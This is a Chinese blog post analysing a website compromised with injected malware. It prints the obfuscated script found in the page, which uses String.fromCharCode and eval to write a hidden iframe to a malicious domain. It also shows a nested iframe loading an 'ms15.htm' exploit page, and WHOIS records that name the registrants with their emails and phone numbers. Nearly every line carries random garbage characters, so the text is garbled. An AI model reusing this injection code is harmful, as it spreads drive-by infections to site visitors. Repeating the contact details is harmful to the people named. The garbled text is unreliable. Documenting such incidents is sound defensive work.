首发在我的博客里面，
:GBM`f@ H4Lvw8 G http://www.areway.cn/?p=175 g q|]t<' <RaUs2Q3. 6a MG!_jC 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
{1VMwAN j :d{-"RAG" <script>t=’60,105,102,114,97,109,101,
pf@H;QS` 32,115,114,99,61,104,116,116,112,58,47,47,
^f?>;,<& 102,114,101,101,46,117,45,117,117,117,46,99,
WET nrA"N 110,47,101,114,114,111,114,46,104,116,109,
W+5<=jXFB 32,119,105,100,116,104,61,49,48,48,32,104,
nP 5T*-~ 101,105,103,104,116,61,48,62,60,47,105,102,
ed\umQ] 114,97,109,101,62′;
%K/zVYGm& t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Z!eW_""wp tQYkH$e`/{ <script>t=’60,105,102,114,97,109,101,32,115,
a\]g lw\; 114,99,61,104,116,116,112,58,47,47,102,114,
=Ul{#R
z 101,101,46,117,45,117,117,117,46,99,110,47,
>JUOS2 101,114,114,111,114,46,104,116,109,32,119,
m6 V L 105,100,116,104,61,49,48,48,32,104,101,105,
edZhI 103,104,116,61,48,62,60,47,105,102,114,97,
VxTrL}{(6 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
z-g"`w:Lj document.write(t);</script>
8?z7!k] Eb.k:8?Tn <html xmlns=”
@;1Ym\zc http://www.w3.org/1999/xhtml gAxf5 A_x) “>
u+_6V <head>
6aq=h` Y <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
+B#+' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
*^=z Q~ <title>首页 - 爱生活家庭网
\YMe&[C:o _ GF{Duxh 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
i[V\RKH*F 转换字符串后的大概内容是（谁点击后果自付）：
hwj:$m R <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
^0T DaZDLp tsf)+`vt 查询玉米u-uuu.cn的详细信息：
j .:I{!R# Domain Name: u-uuu.cn
-qNun3 ROID: 20070901s10001s64972306-cn
!Sj0! \ Domain Status: ok
W9M ~2<
L Registrant Organization: 王雷
@q/E)M?
Registrant Name: 王雷
"x~su?KiA Administrative Email:
czlovexs@126.com >Y 8\I Sponsoring Registrar: 北京万网志成科技有限公司
]mZN18# Name Server:ns.yovole.com
Y)*:'&~2e Name Server:ns1.yovole.com
X Z4 q{^o Registration Date: 2007-09-01 17:54
7^<{aE: Expiration Date: 2008-09-01 17:54
&cuDGo . 最后PING了一下地址 都没有什么….
3-6Lbe9H XFmTr@\M 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
!U[/P6
+0 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
nd3n 'b <script language=”javascript” src=”
S |pf .l http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7B s:u >
(Ee 5Af,4 这个玉米应该有可能是木马作者的：
nA4PY ] foafau.info的详细信息：
Tk~Y Access to INFO WHOIS information is provided to assist persons in
LZ-&qh determining the contents of a domain name registration record in the
AdGDs+at, Afilias registry database. The data in this record is provided by
RIV
+ _}R Afilias Limited for informational purposes only, and Afilias does not
n 5s2\ ( guarantee its accuracy. This service is intended only for query-based
bg/a5$t
access. You agree that you will use this data only for lawful purposes
|SSe n#PYp and that, under no circumstances will you use this data to: (a) allow,
<!G%P4) enable, or otherwise support the transmission by e-mail, telephone, or
[L`w nP facsimile of mass unsolicited, commercial advertising or solicitations
$Si |;j$? to entities other than the data recipient’s own existing customers; or
==]BrhZK (b) enable high volume, automated, electronic processes that send
e?yrx6 queries or data to the systems of Registry Operator, a Registrar, or
LE]mguvs Afilias except as reasonably necessary to register domain names or
RTQtXv6mD modify existing registrations. All rights reserved. Afilias reserves
h*B7UzCg the right to modify these terms at any time. By submitting this query,
{ "Wf A you agree to abide by this policy.
hRaX!QcG3 Domain ID:D22418703-LRMS
D\0 q lCAs Domain Name:FOAFAU.INFO
zbgH}6b Created On:20-Nov-2007 16:05:42 UTC
({!S!k Last Updated On:20-Nov-2007 16:05:44 UTC
~/l5ys Expiration Date:20-Nov-2008 16:05:42 UTC
Y DW V=/ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
`x:8m?q05 Status:CLIENT DELETE PROHIBITED
Z(wj5;[G Status:CLIENT RENEW PROHIBITED
)Rc Status:CLIENT TRANSFER PROHIBITED
~pWV[oUD Status:CLIENT UPDATE PROHIBITED
:N#8|;J1Fl Status:TRANSFER PROHIBITED
#dh ce0m Registrant ID:GODA-040110615
y *7 {S{9 Registrant Name:liu hong
pSKw Xx Registrant Organization:
N;mJHr3[F Registrant Street1:beijing
5v_vv'~ Registrant Street2:
M"! {Dx~ Registrant Street3:
o ~`KOe Registrant City:beijing
hUP?r/B Registrant State/Province:
d3jzGJrU} Registrant Postal Code:100000
F1GFn|OA Registrant Country:CN
p:?h)'bA< Registrant Phone:+86.860108888777
./i 5VBP5 Registrant Phone Ext.:
`NB6Of */ Registrant FAX:
:D:Y-cG*n< Registrant FAX Ext.:
F XG,D J: Registrant Email:bbbshiji@163.com
6^NL> |? Admin ID:GODA-240110615
8k9Yoh t Admin Name:liu hong
o>75s#=
b= Admin Organization:
Y{7)$'At Admin Street1:beijing
mPJ@hr%3 Admin Street2:
|YcYWok Admin Street3:
!$pnE:K Admin City:beijing
i#K Y'"P Admin State/Province:
*6/OLAkyF Admin Postal Code:100000
8/"R&yAh Admin Country:CN
WbJ
Admin Phone:+86.860108888777
(MzThGJK_ Admin Phone Ext.:
7!PU}[: Admin FAX:
y"Ios:v@- Admin FAX Ext.:
5a%i%+;N Admin Email:bbbshiji@163.com
{&uN q^Ch Billing ID:GODA-340110615
ap wA Billing Name:liu hong
F#KUu3;B Billing Organization:
r< OqI*7 Billing Street1:beijing
p>h}k_s Billing Street2:
#&,~5 Billing Street3:
I' 'X\/| Billing City:beijing
V i<6i0 Billing State/Province:
K_Gq M9 Billing Postal Code:100000
FM,o&0HSd Billing Country:CN
&1FyauH Billing Phone:+86.860108888777
3DOc,}nI~@ Billing Phone Ext.:
s)~Wcp'+M: Billing FAX:
$J9/A FzO" Billing FAX Ext.:
4H q6nT/ Billing Email:bbbshiji@163.com
->r udRQ Tech ID:GODA-140110615
mt\pndTy7! Tech Name:liu hong
"?S> }G\ Tech Organization:
Rc(E';uc Tech Street1:beijing
}m93AL_y Tech Street2:
<RCeY(1 Tech Street3:
AsO)BeUD Tech City:beijing
t*w V<b Tech State/Province:
n'9&q]GN| Tech Postal Code:100000
M ,sZ8eeq Tech Country:CN
`N;O6
wZ Tech Phone:+86.860108888777
CF]#0*MI Tech Phone Ext.:
ffG1QvC|M Tech FAX:
%TYe]^/'y Tech FAX Ext.:
1
EwCF Tech Email:bbbshiji@163.com
jhB+ ] Name Server:NS27.DOMAINCONTROL.COM
qk=OodEMK Name Server:NS28.DOMAINCONTROL.COM
;nw}x4Y[ Name Server:
/E^j}H{ Name Server:
f{+X0Oj Name Server:
ZsN3 MbY Name Server:
:RDQP Name Server:
d ;v<rw Name Server:
i?n#ge Name Server:
<(_${zR Name Server:
G dv{SCV Name Server:
GzjC;+W Name Server:
jwO7r0?\`G Name Server:
# B@*- * TByAa{ 接着下载每个文件里面的代码：
:LLz$[c8 一步一步看..
qJK-H F:# 
N**" u"CX 
j$Vtd & 
>K*TgG6!X 
GB{Q)L 
,
%A2wV 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
